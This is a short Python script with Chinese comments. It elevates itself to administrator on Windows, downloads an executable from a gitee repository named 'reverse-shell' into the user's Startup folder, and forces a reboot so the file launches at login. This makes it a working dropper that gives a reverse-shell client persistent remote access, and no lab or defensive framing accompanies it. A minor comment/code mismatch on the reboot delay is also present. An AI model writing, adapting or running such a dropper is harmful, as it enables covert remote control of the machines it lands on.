import os
import urllib.request
import sys
# 在代码开头添加权限检查（需导入 ctypes）
import ctypes
def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if not is_admin():
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
    sys.exit()

def download_file(url, save_path):
    try:
        # 创建目录（如果不存在）
        os.makedirs(os.path.dirname(save_path), exist_ok=True)

        # 执行下载
        urllib.request.urlretrieve(url, save_path)
        print(f"文件已下载到：{save_path}")

        # 添加重启功能
        print("系统将在5秒后自动重启...")
        os.system("shutdown /r /t 1")  # 延迟5秒重启

    except Exception as e:
        print(f"下载失败: {str(e)}")


# 需要修改的配置（示例）👇
target_url = "https://gitee.com/xiaoqian-nb/reverse-shell/raw/master/clinet.exe"  # 替换为实际下载链接
save_path = r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\xiaoqiannb.exe"  # 替换为保存路径

# 执行下载
download_file(target_url, save_path)

# 保持窗口打开（调试时使用）
# input("按 Enter 退出...")